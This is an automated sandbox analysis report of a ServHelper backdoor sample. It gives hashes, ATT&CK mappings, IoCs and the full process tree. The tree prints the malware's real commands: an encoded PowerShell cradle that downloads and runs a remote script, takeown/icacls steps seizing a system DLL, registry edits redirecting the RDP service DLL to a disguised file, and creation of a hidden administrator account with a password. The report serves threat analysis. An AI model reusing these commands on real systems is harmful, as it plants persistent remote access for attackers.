servhelper | f9fe730178dcb234b908d759db705a9f78c1505df5bd5c09a5369a6f9ed2363b

Analysis

max time kernel
150s
max time network
114s
platform
windows7_x64
resource
win7v20210410
submitted
12-07-2021 23:36

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General

Target

1d3ee4783ce7a30a7fd422f5abe7ba25.exe
Size

5.7MB
MD5

1d3ee4783ce7a30a7fd422f5abe7ba25
SHA1

81073e407e3e61f102c414e797e99a46cb31d766
SHA256

f9fe730178dcb234b908d759db705a9f78c1505df5bd5c09a5369a6f9ed2363b
SHA512

5218273891d304f9ddb88c61e984fcee2b955b8789292419e3f78c6d48dbf35dcadb77dd9f7942175bafb4a96a2462c3f48886e277fe861c124548f995f652df

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	1536	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
824	icacls.exe
928	icacls.exe
1864	icacls.exe
1416	icacls.exe
412	icacls.exe
1588	icacls.exe
1600	icacls.exe
1644	takeown.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00040000000130d8-180.dat	upx
behavioral1/files/0x00050000000130d9-181.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
1624	Process not Found
1624	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1644	takeown.exe
824	icacls.exe
928	icacls.exe
1864	icacls.exe
1416	icacls.exe
412	icacls.exe
1588	icacls.exe
1600	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d89ee8ff-9ca0-46ba-bb6e-5bab7ec8269a	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e2e40003-1ada-470d-9a01-58f091f8d673	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1139a2ca-34f4-4da0-a1d7-d4d291f5d818	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_cf84c1a5-3582-4e77-87d8-9dc30cb11586	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bc214caf-a02d-4d01-9e72-e0784edac7c0	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7dc8bfae-9c5b-412a-b8bd-408172fd0edc	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_946cc63a-662f-4154-8f93-2d4ccbf7cb18	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d197f972-b472-4ff8-b388-074a12aafea6	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_742c06c2-522a-4f44-91f8-e07ae11d4b8d	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_807a3f00-f4c5-486c-97c6-e1e514576a83	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YREOUFYJOOXN2KFQXCAQ.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_749dbb06-1ec7-4ace-94b8-f9240b1e8530	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 30ba19457677d701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1388	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1340	powershell.exe
1340	powershell.exe
1752	powershell.exe
1752	powershell.exe
1888	powershell.exe
1888	powershell.exe
1272	powershell.exe
1272	powershell.exe
1340	powershell.exe
1340	powershell.exe
1340	powershell.exe
1536	powershell.exe
1536	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
464	Process not Found
1624	Process not Found
1624	Process not Found
1624	Process not Found
1624	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1340	powershell.exe
Token: SeDebugPrivilege	1752	powershell.exe
Token: SeDebugPrivilege	1888	powershell.exe
Token: SeDebugPrivilege	1272	powershell.exe
Token: SeRestorePrivilege	928	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1752	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1752	WMIC.exe
Token: SeAuditPrivilege	1752	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1752	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1752	WMIC.exe
Token: SeAuditPrivilege	1752	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1876	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1876	WMIC.exe
Token: SeAuditPrivilege	1876	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1876	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1876	WMIC.exe
Token: SeAuditPrivilege	1876	WMIC.exe
Token: SeDebugPrivilege	1536	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1676 wrote to memory of 1340	1676	1d3ee4783ce7a30a7fd422f5abe7ba25.exe	29
PID 1676 wrote to memory of 1340	1676	1d3ee4783ce7a30a7fd422f5abe7ba25.exe	29
PID 1676 wrote to memory of 1340	1676	1d3ee4783ce7a30a7fd422f5abe7ba25.exe	29
PID 1340 wrote to memory of 1112	1340	powershell.exe	31
PID 1340 wrote to memory of 1112	1340	powershell.exe	31
PID 1340 wrote to memory of 1112	1340	powershell.exe	31
PID 1112 wrote to memory of 1328	1112	csc.exe	32
PID 1112 wrote to memory of 1328	1112	csc.exe	32
PID 1112 wrote to memory of 1328	1112	csc.exe	32
PID 1340 wrote to memory of 1752	1340	powershell.exe	33
PID 1340 wrote to memory of 1752	1340	powershell.exe	33
PID 1340 wrote to memory of 1752	1340	powershell.exe	33
PID 1340 wrote to memory of 1888	1340	powershell.exe	35
PID 1340 wrote to memory of 1888	1340	powershell.exe	35
PID 1340 wrote to memory of 1888	1340	powershell.exe	35
PID 1340 wrote to memory of 1272	1340	powershell.exe	37
PID 1340 wrote to memory of 1272	1340	powershell.exe	37
PID 1340 wrote to memory of 1272	1340	powershell.exe	37
PID 1340 wrote to memory of 1644	1340	powershell.exe	40
PID 1340 wrote to memory of 1644	1340	powershell.exe	40
PID 1340 wrote to memory of 1644	1340	powershell.exe	40
PID 1340 wrote to memory of 824	1340	powershell.exe	41
PID 1340 wrote to memory of 824	1340	powershell.exe	41
PID 1340 wrote to memory of 824	1340	powershell.exe	41
PID 1340 wrote to memory of 928	1340	powershell.exe	42
PID 1340 wrote to memory of 928	1340	powershell.exe	42
PID 1340 wrote to memory of 928	1340	powershell.exe	42
PID 1340 wrote to memory of 1864	1340	powershell.exe	43
PID 1340 wrote to memory of 1864	1340	powershell.exe	43
PID 1340 wrote to memory of 1864	1340	powershell.exe	43
PID 1340 wrote to memory of 1416	1340	powershell.exe	44
PID 1340 wrote to memory of 1416	1340	powershell.exe	44
PID 1340 wrote to memory of 1416	1340	powershell.exe	44
PID 1340 wrote to memory of 412	1340	powershell.exe	45
PID 1340 wrote to memory of 412	1340	powershell.exe	45
PID 1340 wrote to memory of 412	1340	powershell.exe	45
PID 1340 wrote to memory of 1588	1340	powershell.exe	46
PID 1340 wrote to memory of 1588	1340	powershell.exe	46
PID 1340 wrote to memory of 1588	1340	powershell.exe	46
PID 1340 wrote to memory of 1600	1340	powershell.exe	47
PID 1340 wrote to memory of 1600	1340	powershell.exe	47
PID 1340 wrote to memory of 1600	1340	powershell.exe	47
PID 1340 wrote to memory of 1836	1340	powershell.exe	48
PID 1340 wrote to memory of 1836	1340	powershell.exe	48
PID 1340 wrote to memory of 1836	1340	powershell.exe	48
PID 1340 wrote to memory of 1388	1340	powershell.exe	49
PID 1340 wrote to memory of 1388	1340	powershell.exe	49
PID 1340 wrote to memory of 1388	1340	powershell.exe	49
PID 1340 wrote to memory of 1284	1340	powershell.exe	50
PID 1340 wrote to memory of 1284	1340	powershell.exe	50
PID 1340 wrote to memory of 1284	1340	powershell.exe	50
PID 1340 wrote to memory of 576	1340	powershell.exe	51
PID 1340 wrote to memory of 576	1340	powershell.exe	51
PID 1340 wrote to memory of 576	1340	powershell.exe	51
PID 576 wrote to memory of 732	576	net.exe	52
PID 576 wrote to memory of 732	576	net.exe	52
PID 576 wrote to memory of 732	576	net.exe	52
PID 1340 wrote to memory of 1664	1340	powershell.exe	53
PID 1340 wrote to memory of 1664	1340	powershell.exe	53
PID 1340 wrote to memory of 1664	1340	powershell.exe	53
PID 1664 wrote to memory of 1112	1664	cmd.exe	54
PID 1664 wrote to memory of 1112	1664	cmd.exe	54
PID 1664 wrote to memory of 1112	1664	cmd.exe	54
PID 1112 wrote to memory of 1876	1112	cmd.exe	55

C:\Users\Admin\AppData\Local\Temp\1d3ee4783ce7a30a7fd422f5abe7ba25.exe
"C:\Users\Admin\AppData\Local\Temp\1d3ee4783ce7a30a7fd422f5abe7ba25.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1340
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\v5qhvwj0\v5qhvwj0.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1112
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1056.tmp" "c:\Users\Admin\AppData\Local\Temp\v5qhvwj0\CSC18E5638CA40B4094A8B05A588434E139.TMP"
      4⤵
      PID:1328
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1752
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1888
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1272
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1644
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:824
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:928
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1864
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1416
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:412
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1588
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1600
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1836
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1388
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1284
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:576
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:732
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1664
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1112
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1876
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1312
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1644
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:824
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:1860
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1992
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:412
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:436

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:1480
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:1996
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:364

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 4aukgOVk /add
1⤵
PID:1148
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 4aukgOVk /add
  2⤵
  PID:576
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 4aukgOVk /add
    3⤵
    PID:660

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:1112
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:1864
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:412

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
1⤵
PID:568
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
  2⤵
  PID:1480
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
    3⤵
    PID:1272

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:576
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:584
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1592

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 4aukgOVk
1⤵
PID:1864
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 4aukgOVk
  2⤵
  PID:1664
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 4aukgOVk
    3⤵
    PID:1888

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1872
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1752

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1584
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1876

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1272
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:740
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1536

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1272-150-0x000000001AC04000-0x000000001AC06000-memory.dmp

Filesize
8KB

Download
memory/1272-149-0x000000001AC00000-0x000000001AC02000-memory.dmp

Filesize
8KB

Download
memory/1340-87-0x00000000028E0000-0x00000000028E1000-memory.dmp

Filesize
4KB

Download
memory/1340-70-0x000000001ABA0000-0x000000001ABA2000-memory.dmp

Filesize
8KB

Download
memory/1340-86-0x000000001C3D0000-0x000000001C3D1000-memory.dmp

Filesize
4KB

Download
memory/1340-85-0x000000001AB20000-0x000000001AB21000-memory.dmp

Filesize
4KB

Download
memory/1340-83-0x0000000002730000-0x0000000002731000-memory.dmp

Filesize
4KB

Download
memory/1340-75-0x000000001B580000-0x000000001B581000-memory.dmp

Filesize
4KB

Download
memory/1340-73-0x0000000002670000-0x0000000002671000-memory.dmp

Filesize
4KB

Download
memory/1340-72-0x00000000023C0000-0x00000000023C1000-memory.dmp

Filesize
4KB

Download
memory/1340-67-0x000007FEFBE41000-0x000007FEFBE43000-memory.dmp

Filesize
8KB

Download
memory/1340-68-0x0000000002380000-0x0000000002381000-memory.dmp

Filesize
4KB

Download
memory/1340-102-0x000000001ABAA000-0x000000001ABC9000-memory.dmp

Filesize
124KB

Download
memory/1340-69-0x000000001AC20000-0x000000001AC21000-memory.dmp

Filesize
4KB

Download
memory/1340-157-0x000000001C770000-0x000000001C771000-memory.dmp

Filesize
4KB

Download
memory/1340-71-0x000000001ABA4000-0x000000001ABA6000-memory.dmp

Filesize
8KB

Download
memory/1536-202-0x0000000019550000-0x0000000019552000-memory.dmp

Filesize
8KB

Download
memory/1536-203-0x0000000019554000-0x0000000019556000-memory.dmp

Filesize
8KB

Download
memory/1536-234-0x000000001955A000-0x0000000019579000-memory.dmp

Filesize
124KB

Download
memory/1676-62-0x0000000041B62000-0x0000000041B64000-memory.dmp

Filesize
8KB

Download
memory/1676-59-0x00000000002A0000-0x0000000000E86000-memory.dmp

Filesize
11.9MB

Download
memory/1676-60-0x0000000042250000-0x00000000424FA000-memory.dmp

Filesize
2.7MB

Download
memory/1676-64-0x0000000041B66000-0x0000000041B67000-memory.dmp

Filesize
4KB

Download
memory/1676-63-0x0000000041B64000-0x0000000041B66000-memory.dmp

Filesize
8KB

Download
memory/1676-65-0x0000000041B67000-0x0000000041B68000-memory.dmp

Filesize
4KB

Download
memory/1752-96-0x0000000002400000-0x0000000002401000-memory.dmp

Filesize
4KB

Download
memory/1752-93-0x000000001AC20000-0x000000001AC22000-memory.dmp

Filesize
8KB

Download
memory/1752-98-0x000000001AB60000-0x000000001AB61000-memory.dmp

Filesize
4KB

Download
memory/1752-94-0x000000001AC24000-0x000000001AC26000-memory.dmp

Filesize
8KB

Download
memory/1752-100-0x0000000002740000-0x0000000002741000-memory.dmp

Filesize
4KB

Download
memory/1752-101-0x0000000002070000-0x0000000002071000-memory.dmp

Filesize
4KB

Download
memory/1752-107-0x000000001BDE0000-0x000000001BDE1000-memory.dmp

Filesize
4KB

Download
memory/1752-121-0x000000001B550000-0x000000001B551000-memory.dmp

Filesize
4KB

Download
memory/1752-120-0x000000001AC10000-0x000000001AC11000-memory.dmp

Filesize
4KB

Download
memory/1888-127-0x000000001ACB0000-0x000000001ACB2000-memory.dmp

Filesize
8KB

Download
memory/1888-132-0x0000000002640000-0x0000000002641000-memory.dmp

Filesize
4KB

Download
memory/1888-128-0x000000001ACB4000-0x000000001ACB6000-memory.dmp

Filesize
8KB

Download
memory/1888-130-0x0000000002570000-0x0000000002571000-memory.dmp

Filesize
4KB

Download
memory/1888-134-0x000000001AC50000-0x000000001AC51000-memory.dmp

Filesize
4KB

Download
memory/1888-135-0x0000000002490000-0x0000000002491000-memory.dmp

Filesize
4KB

Download